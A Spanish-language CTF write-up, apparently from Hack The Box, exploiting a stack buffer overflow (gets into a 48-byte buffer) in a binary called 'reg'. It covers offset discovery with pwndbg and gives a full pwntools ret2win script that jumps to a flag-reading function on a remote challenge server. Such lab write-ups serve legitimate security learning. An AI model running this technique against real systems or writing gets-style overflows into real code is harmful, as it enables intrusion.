Enumeración
El binario entregado solo parece registrar
el nombre de un usuario proporcionado
❯ ./reg
Enter your name : name
Registered!
Podemos analizarlo con ida
para asi poder ver el pseudocodigo de main en c
La función main
solo llama a la funcion run
, esta define un buffer de 48
bytes para una string que recibe posteriormente con gets
, esto es una mala practica ya que el uso de esta funcion con un buffer tan limitado puede ocasionar un buffer overflow
int __fastcall main(int argc, const char **argv, const char **envp)
{
run();
return 0;
}
int run()
{
char string[48]; // [rsp+0h] [rbp-30h] BYREF
initialize();
printf("Enter your name : ");
gets(string);
return puts("Registered!");
}
Ademas de ello encontramos una función llamada winner
que su funciomaniento es leer de un archivo llamado flag.txt
y mostrar su contenido a traves de la consola
int winner()
{
char string[1032]; // [rsp+0h] [rbp-410h] BYREF
FILE *stream; // [rsp+408h] [rbp-8h]
puts("Congratulations!");
stream = fopen("flag.txt", "r");
fgets(string, 1024, stream);
puts(string);
return fclose(stream);
}
Mirando las protecciones del binario nos encontramos con NX
que nos impedira poder ejecutar shellcode en la pila por lo que tendremos que buscar alternativas
❯ checksec reg
[*] '/home/kali/reg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Explotación
Para iniciar abrimos le binario con gdb
y creamos un patron de 100 caracteres especiales para buscar el offset
, despues corremos el programa y lo enviamos
❯ gdb -q reg
Reading symbols from reg...
(No debugging symbols found in reg)
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> run
Starting program: /home/kali/reg
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Registered!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
pwndbg>
Una vez corrompe podemos buscar el offset usando cyclic -l
que es la cantidad de bytes necesarios antes de sobreescribir la siguiente instruccion de retorno
pwndbg> x/gx $rsp
0x7fffffffe588: 0x6161616161616168
pwndbg> cyclic -l 0x6161616161616168
Finding cyclic pattern of 8 bytes: b'haaaaaaa' (hex: 0x6861616161616161)
Found at offset 56
pwndbg>
Aprovecharemos la funcion winner
para enviarla como la siguiente instruccion y asi leer la flag
remotamente, podemos conseguir su direccion facilmente desde gdb
pwndbg> print winner
$1 = {<text variable, no debug info>} 0x401206 <winner>
pwndbg>
La idea del siguiente exploit es simple, enviar los 56
bytes de basura y en la siguiente instruccion enviar la direccion de winner
para asi leer la flag del servidor
#!/usr/bin/python3
from pwn import remote, p64, log, sys
if len(sys.argv) < 2:
log.failure(f"Uso: python3 {sys.argv[0]} <host:port>")
sys.exit(1)
host, port = sys.argv[1].split(":")
shell = remote(host, port)
offset = 56
junk = b"A" * offset
winner = p64(0x401206)
payload = junk + winner
shell.sendlineafter(b"name : ", payload)
flag = shell.recvline_contains(b"HTB").decode()
log.success(f"Flag: {flag}")
Al ejecutar el exploit conseguimos leer el archivo flag.txt
y completar el reto
❯ python3 exploit.py 206.189.28.180:30398
[+] Opening connection to 206.189.28.180 on port 30398: Done
[+] Flag: HTB{N3W_70_pWn}
[*] Closed connection to 206.189.28.180 port 30398